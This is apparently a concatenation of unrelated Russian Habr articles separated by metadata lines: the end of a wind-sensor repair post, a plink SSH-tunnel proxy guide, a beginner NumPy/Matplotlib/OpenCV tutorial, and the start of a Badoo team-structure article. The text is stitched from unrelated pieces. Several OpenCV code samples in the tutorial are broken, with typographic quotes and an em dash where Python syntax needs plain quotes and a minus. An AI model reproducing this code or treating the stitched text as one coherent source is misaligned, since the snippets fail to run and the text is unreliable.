О переделке датчика (флюгер оставлен тот же самый). Датчик скорости пришлось переделать и из-за стершейся оси и из-за пришедшего в негодность лазерного диска. Основа конструкции оставлена той же самой, но новый лазерный диск покрашен золотистой краской из баллончика. Решение для острия оси нашлось в следующем виде. В дюралевой оси было высверлено углубление точно по центру, и туда вставлен на секундном клее обрезок верхушки китайского метчика на 3 мм. Верхушка у метчика представляет собой хорошо отцентрованный конус с углом около 70-80 град., он был дополнительно отполирован шкуркой-нулевкой и затем пастой ГОИ. В качестве основания я использовал головку нержавеющего винта М3 со спиленным шлицем, в которой обычным сверлом D=2 мм намечено небольшое углубление по центру. Этот винт заворачивался прямо в углубление во фторопласте, пропиленное осью ранее, чем обеспечивалась центровка.
Кончик оси смазывался графитовой смазкой для защиты от коррозии (так как нержавеющие свойства метчика мне неизвестны). После некоторой притирки порог трогания снизился настолько, что его стало невозможно измерить фирменным анемометром, у которого порог составляет около 0,3-0,5 см/с. По косвенным данным (построением прямой по двум точкам) был волюнтаристски принят порог в 0,3 м/с, хотя, вероятно, он несколько меньше.
Главное изменение в алгоритмах обсчета также касается датчиков ветра, и я посчитал полезным вынести это в [отдельную статью](https://habr.com/post/423243/). | https://habr.com/ru/post/404385/ | null | ru | null |
# plink: скрыть IP-адрес и зашифровать трафик за 5 минут
Каждый пользователь Интернета хотя бы раз задумывался об анонимности в Сети. В этой заметке я расскажу об одном из самых простых способов настройки собственного прокси-сервера, который надежно скроет ваш IP-адрес и зашифрует передаваемую информацию.
Я не претендую на оригинальность, всё изложенное ниже многим известно, но наверняка найдутся люди, которым эта информация будет полезна.
Для скрытия IP-адреса, шифрования и сжатия трафика мы настроим SSH-туннель с помощью утилиты plink. Скачать эту утилиту можно с [официального сайта](http://the.earth.li/~sgtatham/putty/latest/x86/plink.exe).
Обязательное условие – у Вас должен быть хостинг с поддержкой SSH. Это может быть виртуальный хостинг, VPS/VDS или выделенный сервер. Если у Вас есть собственный сайт (как, у Вас нет собственного сайта?), то уточните в службе технической поддержки логин, пароль и адрес SSH -сервера (иногда они совпадают с FTP).
#### Настройка утилиты plink
Создайте файл plink.bat и поместите в него текст
`plink -ssh адрес_SSH_сервера -C -N -l логин -pw пароль -D 127.0.0.1:8081
pause`(заменив «логин», «пароль» и «адрес\_SSH\_сервера» на настоящие значения логина, пароля и адреса SSH-сервера).
Сохраните файл plink.bat в ту же папку, в которой находится утилита plink.exe и запустите его. Если всё сделано правильно, то появится черное окно с примерно таким текстом:
Нажмите клавиши «y» (латинскую) и Enter.
Поздравляю, SSH-туннель создан. Это окно нельзя закрывать, иначе соединение с сервером закроется.
Если Вы указали неправильный логин или пароль, то увидите соответствующую ошибку:
#### Настройка прокси в FireFox
Для того, чтобы FireFox использовал созданный SSH-туннель, зайдите в меню Инструменты -> Настройки -> Дополнительно -> Сеть -> Настроить. Поставьте галочку «Ручная настойка сервиса прокси», в графу «Узел SOCKS» укажите адрес 127.0.0.1, порт 8081, поставьте галочку «SOCKS5». Остальные графы оставьте пустыми.
#### Проверка
Для проверки откройте сайт <http://2ip.ru>. Если всё сделано правильно, то вместо своего IP-адреса Вы увидите адрес SSH-сервера.
**Ваш IP-адрес скрыт, трафик шифруется и сжимается.**
#### Настройка прокси в Internet Explorer
Если Вы до сих пор используете Interner Explorer, то зайдите в меню Сервис –> Свойства обозревателя –> Подключения — > Настройки сети. Поставьте галочку «Использовать прокси-сервер для локальных подключений» и нажмите кнопку «Дополнительно», в графе «Socks» укажите адрес 127.0.0.1, порт 8081.
#### Настройка прокси в QIP
Меню Настройки подключения. В списке «Тип прокси» выберите SOCKS5, в графе «Прокси-сервер» укажите 127.0.0.1, порт 8081.
#### Другие программы
Для настройки прокси в программах, которые не поддерживают SOCKS или отказываются напрямую работать через SSH-туннель, Вы можете воспользоваться программой [FreeCap](http://freecap.ru/?p=download) или аналогичными продуктами. Не буду подробно описывать настройки этой программы, скажу лишь, что в параметрах соединения нужно будет указать адрес 127.0.0.1 и порт 8081
#### Что делать, если нет своего сайта (хостинга)?
Теоретически для SSH-туннеля можно использовать бесплатные хостинги с поддержкой SSH, но я не знаю ни один качественный бесплатный хостинг.
#### Привет Биллу Гейтсу
Описанный способ протестирован в Windows XP и Windows Vista. В Windows 7 теоретически он также должен работать, но проверить нет возможности.
В \*nix-подобных операционных системах вместо утилиты plink можно использовать ssh.
#### Настройка сервера (необязательно)
Если у Вас VPS/VDS или выделенный сервер, то рекомендую для подключения по ssh создать специального пользователя без прав.
#### Безопасный ввод пароля (необязательно)
Если Вы хотите при каждой запуске SSH-туннеля указывать пароль вручную, то уберите из кода запуска «–pw пароль»
`plink -ssh адрес_SSH_сервера -C -N -l логин -D 127.0.0.1:8081`
Это менее удобно, но более безопасно.
#### RTFM
Информацию о других возможностях утилиты plink Вы можете найти в [официальной документации](http://the.earth.li/~sgtatham/putty/0.60/htmldoc/Chapter7.html#plink).
#### Абсолютной анонимности не бывает
Не вдаваясь в технические детали, скажу, что данный способ не дает Вам абсолютной анонимности. Не делайте глупостей, за которые Вас будут искать. | https://habr.com/ru/post/96294/ | null | ru | null |
# #2 Нейронные сети для начинающих. NumPy. MatplotLib. Операции с изображениями в OpenCV
[](https://habr.com/ru/company/ruvds/blog/682462/)
Это вторая статья из серии введения в «Нейронные сети для начинающих». Здесь и далее мы постараемся разобраться с таким понятием — как обработка графических данных, визуализация данных, а также на практике решим пару простых задач. Предыдущая статья — [#1 Нейронные сети для начинающих. Решение задачи классификации Ирисов Фишера](https://habr.com/ru/company/ruvds/blog/679988/)
> *Маленький совет из будущего: «В данной статье будут затронуты некоторые понятия, о которых я писал раньше, так что для полного понимания темы, советую прочитать и предыдущую статью»*
На самом деле, на хабре было множество публикаций по этой теме, но все они говорят о разных вещах. Давайте разберёмся и соберём всё в одну кучку, для полноценного понимания картины мира.
Традиционно приведу небольшой перечень тем, которые будут освещены в этой статье:
* Знакомство с библиотекой **[NumPy](https://numpy.org/)**.
* Знакомство с библиотекой **[MatplotLib](https://matplotlib.org/)**.
* Поверхностное знакомство с библиотекой **[OpenCV](https://opencv.org/)**.
Чтобы не терять зря времени, давайте приступим.
Знакомство с библиотекой NumPy
------------------------------
> ****NumPy**** — библиотека с открытым исходным кодом для языка программирования Python. Возможности: поддержка многомерных массивов; поддержка высокоуровневых математических функций, предназначенных для работы с многомерными массивами.
[NumPy](https://www.nature.com/articles/s41586-020-2649-2#Fig1) включает в себя несколько основных концепций массива:
Пояснения к рисунку:
* **a.** Структура данных массива NumPy и связанные с ней поля метаданных.
* **b.** Индексирование массива срезами и шагами. Эти операции возвращают «представление» исходных данных.
* **c.** Индексация массива с масками, скалярными координатами или другими массивами, чтобы он возвращал «копию» исходных данных. В нижнем примере массив индексируется с другими массивами; это передаёт аргументы индексирования перед выполнением поиска.
* **d.** Векторизация эффективно применяет операции к группам элементов.
* **e.** Вещание при умножении двумерных массивов.
* **f.** Операции редукции действуют по одной или нескольким осям. В этом примере массив суммируется по выбранным осям для получения вектора или последовательно по двум осям для получения скаляра.
* **g.** Здесь есть пример кода NumPy, иллюстрирующий некоторые из этих концепций.
### ▍Пришло время разобраться с базовыми операциями над массивами
> Небольшая оговорочка — математические операции над массивами выполняются поэлементно. Создаётся новый массив, который заполняется результатами действия оператора.
И теперь сразу к коду:
```
import numpy as np # в программировании на Python библиотеку NumPy для удобства "обзывают" - np
a = np.array([20, 30, 40, 50])
b = np.arange(4)
a + b # array([20, 31, 42, 53])
a - b # array([20, 29, 38, 47])
a * b # array([ 0, 30, 80, 150])
a / b # При делении на 0 возвращается inf (бесконечность)
a ** b # array([ 1, 30, 1600, 125000])
a % b # При взятии остатка от деления на 0 возвращается 0
```
```
c = np.array([[1, 2, 3], [4, 5, 6]])
d = np.array([[1, 2], [3, 4], [5, 6]])
c + d
# Вывод:
# Traceback (most recent call last):
# File "", line 1, in
# ValueError: operands could not be broadcast together with shapes (2,3) (3,2)
```
Почему же так происходит? Ответ очень прост: массивы должны быть одинаковых размеров. Это то же самое, что в бутылку на 1.5 литра, пытаться перелить 5 литровую и наоборот, их нельзя считать равными, а как следствие, нельзя и совмещать. Всё просто:
В NumPy можно производить математические операции между массивом и числом. В этом случае к каждому элементу прибавляется (или что вы там делаете) это число:
```
a + 1 # array([21, 31, 41, 51])
a ** 3 # array([ 8000, 27000, 64000, 125000])
a < 35 # array([ True, True, False, False], dtype=bool)
```
NumPy также предоставляет множество математических операций для обработки массивов:
```
np.cos(a) # array([ 0.40808206, 0.15425145, -0.66693806, 0.96496603])
np.arctan(a) # array([ 1.52083793, 1.53747533, 1.54580153, 1.55079899])
np.sinh(a) # array([ 2.42582598e+08, 5.34323729e+12, 1.17692633e+17, 2.59235276e+21])
```
Подробнее со списком математических операций можно ознакомиться [здесь](https://numpy.org/doc/stable/reference/routines.math.html).
Многие унарные операции, такие как, например, вычисление суммы всех элементов массива, представлены также и в виде методов класса ndarray:
```
a = np.array([[1, 2, 3], [4, 5, 6]])
np.sum(a) # 21
a.sum() # 21
a.min() #1
a.max() # 6
```
По умолчанию эти операции применяются к массиву, как если бы он был списком чисел, независимо от его формы. Однако, указав параметр axis, можно применить операцию для указанной оси массива:
```
a.min(axis=0) # Наименьшее число в каждом столбце: array([1, 2, 3])
a.min(axis=1) # Наименьшее число в каждой строке: array([1, 4])
```
### ▍ Встаёт вопрос, а в чём практическая польза таких массивов?
Давайте разберёмся. Представим, что мы хотим по-быстрому посмотреть, как выглядит график какой-то функции. Для определённости возьмём сигмоиду, часто используемую в качестве функции активации в нейронных сетях.
Рисовать будем при помощи библиотеки Matplotlib, с которой подробнее познакомимся далее. Путём написания небольшого скрипта на Python, мы сможем получить преинтереснейший результат:
```
# vim: set ai et ts=4 sw=4:
import matplotlib.pyplot as plt
import numpy as np
x = np.linspace(-5, 5, 100)
def sigmoid(alpha):
return 1 / ( 1 + np.exp(- alpha * x) )
def main():
dpi = 80
fig = plt.figure(dpi = dpi, figsize = (512 / dpi, 384 / dpi) )
plt.plot(x, sigmoid(0.5), 'ro-')
plt.plot(x, sigmoid(1.0), 'go-')
plt.plot(x, sigmoid(2.0), 'bo-')
plt.legend(['A = 0.5', 'A = 1.0', 'A = 2.0'], loc = 'upper left')
fig.savefig('sigmoid.png')
main()
```
Если запустить наш код, то мы получим вот такое изображение с названием 'sigmoid.png':
Заметьте, что больше не нужно писать циклы, вычисляющие значение функции в различных точках, поскольку NumPy делает всё это за нас. Фактически мы просто применяем функции к функциям и выводим получившиеся функции. Декларативное и чисто функциональное программирование в самом натуральном его виде!
Как видите, библиотека NumPy оказалась крайне полезной в целом ряде задач. И это мы рассмотрели далеко не все её возможности. В качестве источников дополнительной информации можно порекомендовать книги, NumPy посвящено точно больше одной.
Считается, что NumPy потребляет меньше памяти и работает до 10 раз быстрее аналогичного кода, написанного на чистом Python. Здесь я решил не приводить никаких бенчмарков, потому что тут есть масса нюансов, и всё сильно зависит от специфики конкретного приложения (объёмы данных, размеры массивов и т.д.). А доводилось ли вам использовать NumPy, и если да, то для решения каких задач? Напишите свой опыт в комментариях!
Знакомство с библиотекой MatplotLib
-----------------------------------
> **Matplotlib** — библиотека на языке программирования Python для визуализации данных двумерной графикой. Получаемые изображения могут быть использованы в качестве иллюстраций в публикациях. Matplotlib написан и поддерживался в основном Джоном Хантером и распространяется на условиях BSD-подобной лицензии.
Перед тем как углубиться в дебри библиотеки Matplotlib, для того чтобы появилось интуитивное понимание принципов работы с этим инструментом, рассмотрим несколько примеров, изучив которые вы уже сможете использовать библиотеку для решения своих задач.
Если вы работаете в Jupyter Notebook, для того чтобы получать графики рядом с ячейками, с кодом необходимо выполнить специальную magic-команду после того как импортируете matplotlib:
```
# Построим график прямой, используя MatplotLib
import matplotlib.pyplot as plt
%matplotlib inline
plt.plot([1, 2, 3, 4, 5], [1, 2, 3, 4, 5])
```
Результат будет следующим:
Если вы пишете код в .py файле, а потом запускаете его через вызов интерпретатора Python, то строка %matplotlib inline вам не нужна, используйте только импорт библиотеки.
Пример, аналогичный тому, что представлен на рисунке выше, для отдельного Python файла будет выглядеть так:
```
import matplotlib.pyplot as plt
plt.plot([1, 2, 3, 4, 5], [1, 2, 3, 4, 5])
plt.show()
```
Результатом будет тот же самый график, но в отдельном окне.
### ▍ Построение графика и результат
Для начал построим простую линейную зависимость, дадим нашему графику название, подпишем оси и отобразим сетку. Код программы:
```
import numpy as np
# Независимая (x) и зависимая (y) переменные
x = np.linspace(0, 10, 50)
y = x
# Построение графика
plt.title("Линейная зависимость y = x") # заголовок
plt.xlabel("x") # ось абсцисс
plt.ylabel("y") # ось ординат
plt.grid() # включение отображения сетки
plt.plot(x, y) # построение графика
```
Изменим тип линии и её цвет, для этого в функцию `plot()`, в качестве третьего параметра передадим строку, сформированную определённым образом, в нашем случае это “r–”, где “r” означает красный цвет, а “–” – тип линии – пунктирная линия. Код программы:
```
# Построение графика
plt.title("Линейная зависимость y = x") # заголовок
plt.xlabel("x") # ось абсцисс
plt.ylabel("y") # ось ординат
plt.grid() # включение отображения сетки
plt.plot(x, y, "r--") # построение графика
```
### ▍ Несколько графиков на одном поле
Вам не кажется, что графику одному будет скучно? Построим несколько графиков на одном поле, для этого добавим квадратичную зависимость:
```
# Линейная зависимость
x = np.linspace(0, 10, 50)
y1 = x
# Квадратичная зависимость
y2 = [i**2 for i in x]
# Построение графика
plt.title("Зависимости: y1 = x, y2 = x^2") # заголовок
plt.xlabel("x") # ось абсцисс
plt.ylabel("y1, y2") # ось ординат
plt.grid() # включение отображения сетки
plt.plot(x, y1, x, y2) # построение графика
```
В приведённом примере в функцию `plot()` последовательно передаются два массива для построения первого графика и два массива для построения второго, при этом как вы можете заметить, для обоих графиков массив значений независимой переменной x один и то же.
### ▍ Несколько разделённых полей с графиками
Третья, довольно часто встречающаяся задача – это отобразить два или более различных поля, на которых будет отображено по одному или более графику.
Построим уже известные нам две зависимость на разных полях:
```
# Линейная зависимость
x = np.linspace(0, 10, 50)
y1 = x
# Квадратичная зависимость
y2 = [i**2 for i in x]
# Построение графиков
plt.figure(figsize=(9, 9))
plt.subplot(2, 1, 1)
plt.plot(x, y1) # построение графика
plt.title("Зависимости: y1 = x, y2 = x^2") # заголовок
plt.ylabel("y1", fontsize=14) # ось ординат
plt.grid(True) # включение отображения сетки
plt.subplot(2, 1, 2)
plt.plot(x, y2) # построение графика
plt.xlabel("x", fontsize=14) # ось абсцисс
plt.ylabel("y2", fontsize=14) # ось ординат
plt.grid(True) # включение отображения сетки
```
Здесь используем новые функции:
* **figure()** – функция для задания глобальных параметров отображения графиков. В неё, в качестве аргумента, передаём кортеж, определяющий размер общего поля.
* **subplot()** – функция для задания местоположения поля с графиком. Существует несколько способов задания областей для вывода через функцию subplot() мы воспользовались следующим: первый аргумент – количество строк, второй – столбцов в формируемом поле, третий – индекс (номер поля, считаем сверху вниз, слева направо).
Остальные функции уже нам знакомы, дополнительно мы использовали параметр fontsize для функций `xlabel()` и `ylabel()`, для задания размера шрифта.
### ▍ Построение диаграммы для категориальных данных
До этого у нас были графики по численным данным, т.е. зависимая и независимая переменные имели числовой тип. На практике довольно часто приходится работать с данными нечисловой природы – имена людей, название фруктов, и т.п.
Построим диаграмму, на которой будет отображаться количество фруктов в магазине:
```
fruits = ["apple", "peach", "orange", "bannana", "melon"]
counts = [34, 25, 43, 31, 17]
plt.bar(fruits, counts)
plt.title("FRUETS")
plt.xlabel("Fruit")
plt.ylabel("Count")
```
Для вывода диаграммы используем функцию `bar()`.
К этому моменту, если вы самостоятельно попробовали запустить приведённые выше примеры, у вас уже должно сформировать некоторое понимание того, как осуществляется работа с этой библиотекой.
### ▍ Основные элементы графика
Рассмотрим основные термины и понятия, касающиеся изображения графика, с которыми вам необходимо будет познакомиться, для того чтобы в дальнейшем у вас не было трудностей при прочтении материалов из этого цикла статей и документации по библиотеке matplotlib.
Корневым элементом при построении графиков в системе Matplotlib является Фигура (Figure). Всё, что нарисовано на рисунке выше, является элементами фигуры. Рассмотрим её составляющие более подробно:
> **График:** на рисунке представлены два графика – линейный и точечный. Matplotlib предоставляет огромное количество различных настроек, которые можно использовать для того, чтобы придать графику вид, который вам нужен: цвет, толщина и тип линии, стиль линии и многое другое, всё это мы рассмотрим в ближайших статьях.
>
>
>
> **Оси:** вторым, после непосредственно самого графика, по важности элементом фигуры являются оси. Для каждой оси можно задать метку (подпись), основные (major) и дополнительные (minor) тики, их подписи, размер и толщину, также можно задать диапазоны по каждой из осей.
>
>
>
> **Сетка и легенда:** следующими элементами фигуры, которые значительно повышают информативность графика, являются сетка и легенда. Сетка также может быть основной (major) и дополнительной (minor). Каждому типу сетки можно задавать цвет, толщину линии и тип. Для отображения сетки и легенды используются соответствующие команды.
Ниже представлен код, с помощью которого была построена фигура, изображённая на рисунке:
```
import matplotlib.pyplot as plt
from matplotlib.ticker import (MultipleLocator, FormatStrFormatter,
AutoMinorLocator)
import numpy as np
x = np.linspace(0, 10, 10)
y1 = 4*x
y2 = [i**2 for i in x]
fig, ax = plt.subplots(figsize=(8, 6))
ax.set_title("Графики зависимостей: y1=4*x, y2=x^2", fontsize=16)
ax.set_xlabel("x", fontsize=14)
ax.set_ylabel("y1, y2", fontsize=14)
ax.grid(which="major", linewidth=1.2)
ax.grid(which="minor", linestyle="--", color="gray", linewidth=0.5)
ax.scatter(x, y1, c="red", label="y1 = 4*x")
ax.plot(x, y2, label="y2 = x^2")
ax.legend()
ax.xaxis.set_minor_locator(AutoMinorLocator())
ax.yaxis.set_minor_locator(AutoMinorLocator())
ax.tick_params(which='major', length=10, width=2)
ax.tick_params(which='minor', length=5, width=1)
plt.show()
```
На этом закончим наше базовое знакомство с основными методами библиотеки MatplotLib.
Поверхностное знакомство с библиотекой OpenCV
---------------------------------------------
> **OpenCV** — библиотека алгоритмов компьютерного зрения, обработки изображений и численных алгоритмов общего назначения с открытым кодом. Реализована на C/C++, также разрабатывается для Python, Java, Ruby, Matlab, Lua и других языков.
**OpenCV** выпускается под лицензией BSD (лицензия Berkeley Software Distribution), поэтому её можно бесплатно использовать в научных и коммерческих целях. OpenCV имеет интерфейсы C ++, Python и Java и поддерживает Windows, Linux, Mac OS, iOS и Android. OpenCV предназначен для повышения эффективности вычислений, ориентируясь на приложения реального времени. Библиотека написана на оптимизированном C / C ++ и может использовать преимущества многоядерной обработки.
OpenCV принят во всём мире, с сообществом из более чем 47 000 пользователей и оценочной загрузкой более 14 миллионов. Использует диапазон от интерактивного искусства до инспекции мин, онлайн-карт мозаики или продвинутых роботов.
OpenCV можно использовать для разработки программ обработки изображений в реальном времени, компьютерного зрения и распознавания образов в следующих областях:
* Дополненная реальность.
* Распознавание лиц.
* Распознавание жестов
* Человеко-компьютерное взаимодействие.
* Распознавание действий.
* Отслеживание движения.
* Распознавание объектов.
* Раздел изображения.
* Роботы.
Чтобы установить OpenCV, необходимо ввести в консоль команду:
```
pip install opencv-python
```
Для того чтобы проверить, установилась ли библиотека, необходимо в командной строке/консоли написать «python» и в открывшемся редакторе написать «import cv2», если ошибок/подсказок не выведется, то я могу Вас поздравить, вы установили OpenCV!
Для проверки работоспособности окружения и самой библиотеки, напишем небольшой скрипт, который обращается к камере Вашего компьютера/ноутбука и выводит на экран потоковое видео с неё:
```
# Импорт
import numpy as np
import cv2
# Позвоните в камеру компьютера, 0: первая основная камера
cap = cv2.VideoCapture(0)
while(True):
# Capture frame-by-frame
ret, frame = cap.read()
# Преобразование цветового пространства
gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
# Отображение изображения
cv2.imshow('frame', frame)
cv2.imshow('gray',gray)
# Конец, клавиша q
if cv2.waitKey(1) & 0xFF == ord('q'):
break
# Закройте вызывающую программу камеры и закройте все окна изображений
cap.release()
cv2.destroyAllWindows()
```
Результат Вы можете проверить, запустив этот скрипт у себя на компьютере.
### ▍Немного про пиксели и цветовые пространства
Перед тем как перейти к практике, нам нужно разобраться немного с теорией. Каждое изображение состоит из набора пикселей. Пиксель — это строительный блок изображения. Если представить изображение в виде сетки, то каждый квадрат в сетке содержит один пиксель, где точке с координатой ( 0, 0 ) соответствует верхний левый угол изображения. К примеру, представим, что у нас есть изображение с разрешением 400x300 пикселей. Это означает, что наша сетка состоит из 400 строк и 300 столбцов. В совокупности в нашем изображении есть 400\*300 = 120000 пикселей.
В большинстве изображений пиксели представлены двумя способами: в оттенках серого и в цветовом пространстве RGB. В изображениях в оттенках серого каждый пиксель имеет значение между 0 и 255, где 0 соответствует чёрному, а 255 соответствует белому. А значения между 0 и 255 принимают различные оттенки серого, где значения ближе к 0 более тёмные, а значения ближе к 255 более светлые.
Цветные пиксели обычно представлены в цветовом пространстве RGB(red, green, blue — красный, зелёный, синий), где одно значение для красной компоненты, одно для зелёной и одно для синей. Каждая из трёх компонент представлена целым числом в диапазоне от 0 до 255 включительно, которое указывает как «много» цвета содержится. Исходя из того, что каждая компонента представлена в диапазоне [0,255], то для того, чтобы представить насыщенность каждого цвета, нам будет достаточно 8-битного целого беззнакового числа. Затем мы объединяем значения всех трёх компонент в кортеж вида (красный, зелёный, синий). К примеру, чтобы получить белый цвет, каждая из компонент должна равняться 255: (255, 255, 255). Тогда, чтобы получить чёрный цвет, каждая из компонент должна быть равной 0: (0, 0, 0). Ниже приведены распространённые цвета, представленные в виде RGB кортежей:
### ▍ Обнаружение объектов с помощью цветовой сегментации изображений в Python
Теперь займёмся уже чем-нибудь более интересным, помимо скучной теории, а именно преисполнимся в оконтуривании с помощью Python и OpenCV.
Несколько важных понятий:
> **Контуры** — контуром называется кривая, которая объединяет все непрерывные точки (по границе) одного цвета или интенсивности. Контуры являются весьма полезными инструментами для анализа форм, обнаружения и распознавания объектов.
>
>
>
> **Пороговые значения** — пороговая обработка полутонового изображения (в оттенках серого) превращает его в бинарное. Вы задаёте некое пороговое значение, и все значения ниже порога становятся чёрными, а выше — белыми.
Теперь у вас есть всё необходимое для работы. Знакомство с цветовой сегментацией мы начнём с простого примера. Потерпите, скоро будет самое интересное.
Возьмём в качестве примера круг Омбре:
Для чего? Всё просто, он мне нравится и хорошо пригодится в качестве примера.
В коде ниже я поделю данное изображение на 17 уровней серого. Затем измерю площадь каждого уровня с помощью оконтуривания:
```
import cv2
import numpy as np
def viewImage(image):
cv2.namedWindow(‘Display’, cv2.WINDOW_NORMAL)
cv2.imshow(‘Display’, image)
cv2.waitKey(0)
cv2.destroyAllWindows()
def grayscale_17_levels (image):
high = 255
while(1):
low = high — 15
col_to_be_changed_low = np.array([low])
col_to_be_changed_high = np.array([high])
curr_mask = cv2.inRange(gray, col_to_be_changed_low,col_to_be_changed_high)
gray[curr_mask > 0] = (high)
high -= 15
if(low == 0 ):
break
image = cv2.imread(‘./path/to/image’)
viewImage(image)
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
grayscale_17_levels(gray)
viewImage(gray)
```
Это же изображение, разделённое на 17 уровней серого:
```
def get_area_of_each_gray_level(im):
## преобразование изображения к оттенкам серого (обязательно делается до оконтуривания)
image = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)
output = []
high = 255
first = True
while(1):
low = high — 15
if(first == False):
# Делаем значения выше уровня серого чёрными. Так они не будут обнаруживаться
to_be_black_again_low = np.array([high])
to_be_black_again_high = np.array([255])
curr_mask = cv2.inRange(image, to_be_black_again_low,
to_be_black_again_high)
image[curr_mask > 0] = (0)
# Делаем значения этого уровня белыми. Так мы рассчитаем их площадь
ret, threshold = cv2.threshold(image, low, 255, 0)
contours, hirerchy = cv2.findContours(threshold,
cv2.RETR_LIST, cv2.CHAIN_APPROX_NONE)
if(len(contours) > 0):
output.append([cv2.contourArea(contours[0])])
cv2.drawContours(im, contours, -1, (0,0,255), 3)
high -= 15
first = False
if(low == 0 ):
break
return output
```
В этой функции я выполняю преобразование шкалы (интенсивности) серого, которую планирую оконтурить (выделить). Для этого я задаю одинаковое значение интенсивности всем уровням, находящимся в диапазоне данной шкалы. Остальная интенсивность (меньшая и большая) становится чёрной.
Второй шаг — это пороговая обработка изображения. Она делается для того, чтобы цвет, который я сейчас буду оконтуривать, стал белым, а всё остальные части окрасились в чёрный. Этот шаг мало что меняет, но выполнение его обязательно, поскольку лучше всего оконтуривание работает на чёрно-белых (пороговых) изображениях.
До выполнения пороговой обработки наше изображение будет выглядеть так же, с той лишь разницей, что белое кольцо окрашено серым (интенсивность серого из 10-го уровня (255–15\*10)).
Показывается только 10–й сегмент для расчёта его площади:
```
image = cv2.imread(‘./path/to/image’)
print(get_area_of_each_gray_level(image))
viewImage(image)
```
Контуры 17 уровней серого в исходном изображении:
Массив со значениями площадей:
Так мы получаем площади каждого уровня серого.
### ▍ Обнаружение объектов
Возьмём, в качестве примера, изображение обычного листика, например, вот такого:
Здесь мы будем оконтуривать листок. Текстура изображения неровная и неоднородная. Несмотря на то что на картинке не так много цветов, интенсивность зелёного также меняет и его яркость. Поэтому правильнее всего будет унифицировать зелёный цвет и свести его к одному оттенку. Тогда при оконтуривании лист будет рассматриваться единым объектом.
> *Примечание*: ниже представлен результат оконтуривания без предварительной обработки изображения. Я хотел показать вам, как неравномерная структура листа мешает OpenCV понять, что на картинке изображён один объект. Оконтуривание без предварительной обработки. Обнаружен 531 контур:
```
import cv2
import numpy as np
def viewImage(image):
cv2.namedWindow(‘Display’, cv2.WINDOW_NORMAL)
cv2.imshow(‘Display’, image)
cv2.waitKey(0)
cv2.destroyAllWindows()
```
Для начала необходимо определить HSV-представление цвета. Это можно сделать путём преобразования его RGB в HSV:
```
# Получаем HSV-представление для зелёного цвета
green = np.uint8([[[0, 255, 0 ]]])
green_hsv = cv2.cvtColor(green,cv2.COLOR_BGR2HSV)
print( green_hsv)
```
Зелёный HSV цвет: [[[60 255 255]]]
Конвертация изображения в HSV. С HSV проще получить полный диапазон одного цвета. H здесь означает Hue (тон), S — Saturation (насыщенность), а V — Value (значение). Мы уже знаем, что зелёный цвет — это [60, 255, 255]. Весь зелёный цвет в мире находится в диапазоне с [45, 100, 50] по [75, 255, 255], то есть с [60–15, 100, 50] по [60+15, 255, 255]. 15 — это примерное значение.
Мы берём этот диапазон и превращаем его в [75, 255, 200] или любой другой светлый цвет (третье значение должно быть сравнительно большим). Последняя цифра представляет собой яркость цвета — как раз та величина, которая «покрасит» данную область в белый после порогового преобразования изображения:
```
image = cv2.imread(‘./path/to/image.jpg’)
hsv_img = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)
viewImage(hsv_img) # 1
green_low = np.array([45 , 100, 50] )
green_high = np.array([75, 255, 255])
curr_mask = cv2.inRange(hsv_img, green_low, green_high)
hsv_img[curr_mask > 0] = ([75,255,200])
viewImage(hsv_img) # 2
# Преобразование HSV-изображения к оттенкам серого для дальнейшего оконтуривания
RGB_again = cv2.cvtColor(hsv_img, cv2.COLOR_HSV2RGB)
gray = cv2.cvtColor(RGB_again, cv2.COLOR_RGB2GRAY)
viewImage(gray) # 3
ret, threshold = cv2.threshold(gray, 90, 255, 0)
viewImage(threshold) # 4
contours, hierarchy = cv2.findContours(threshold,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)
cv2.drawContours(image, contours, -1, (0, 0, 255), 3)
viewImage(image) # 5
```
*Изображение после конвертации в HSV*
*Изображение после наложения маски для унификации цвета*
*Изображение после преобразования HSV к оттенкам серого*
*Пороговое изображение, последний этап*
*Конечное оконтуривание*
На заднем плане всё ещё заметна неоднородность. С этим методом мы создадим самый крупный контур, и это — конечно же, лист.
Индекс контура листа можно получить из массива contours. Оттуда же берём площадь и центр листа.
Контуры обладают и другими признаками, которые можно использовать в работе: периметр контура, выпуклая оболочка, ограничивающий прямоугольник и т.д.
```
def findGreatesContour(contours):
largest_area = 0
largest_contour_index = -1
i = 0
total_contours = len(contours)
while (i < total_contours ):
area = cv2.contourArea(contours[i])
if(area > largest_area):
largest_area = area
largest_contour_index = i
i+=1
return largest_area, largest_contour_index
# Чтобы получить центр контура
cnt = contours[13]
M = cv2.moments(cnt)
cX = int(M[“m10”] / M[“m00”])
cY = int(M[“m01”] / M[“m00”])
largest_area, largest_contour_index = findGreatesContour(contours)
print(largest_area)
print(largest_contour_index)
print(len(contours))
print(cX)
print(cY)
```
Результат вывода операторов:
```
278482.5
13
34
482
603
```
Некоторый итог
--------------
Хух, мы с Вами проделали огромную работу, познакомились с тем, что такое библиотеки NumPy, MatplotLib, поработали с ними, освоив базовые операции, а также мы с Вами поработали и «потыкали» основу основ компьютерного зрения — библиотеку OpenCV, с которой будем работать и в дальнейших статьях. Я считаю, что мы с вами, начинающими датасаентистами, проделали колоссальную работу и достойны аплодисментов. Если что-то осталось непонятно, то я выложу весь код в формате Jupyter Notebook и обычного Python файла у себя на [GitHub](https://github.com/VolinNilov/second_article), скачайте понравившийся формат файла и «потыкайте» его, пройдите по нему ещё раз и я уверен, что всё сразу станет понятно!
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=VolinNilov&utm_content=#2_nejronnye_seti_dlya_nachinayushhix._numpy._matplotlib._operacii_s_izobrazheniyami_v_opencv) | https://habr.com/ru/post/682462/ | null | ru | null |
# Кто, где, когда: система компонентов для разделения зон ответственности команды
Меня зовут Евгений Тупиков, я ведущий PHP-разработчик в Badoo и Bumble. У нас в команде более 200 бэкенд-разработчиков, которые работают над сотнями модулей и отдельных сервисов в наших приложениях. Но поначалу всё было не так масштабно. В 2006 году это был один проект, над которым работала небольшая команда. Каждый разработчик хорошо понимал, как всё устроено: легко ориентировался в коде, знал, какие есть сервисы и как они взаимодействуют между собой. Однако по мере роста проекта всё больше времени занимал поиск «хранителей знаний» — тех, кто отвечает за ту или иную функциональность и к кому можно обратиться с вопросом или предложением.
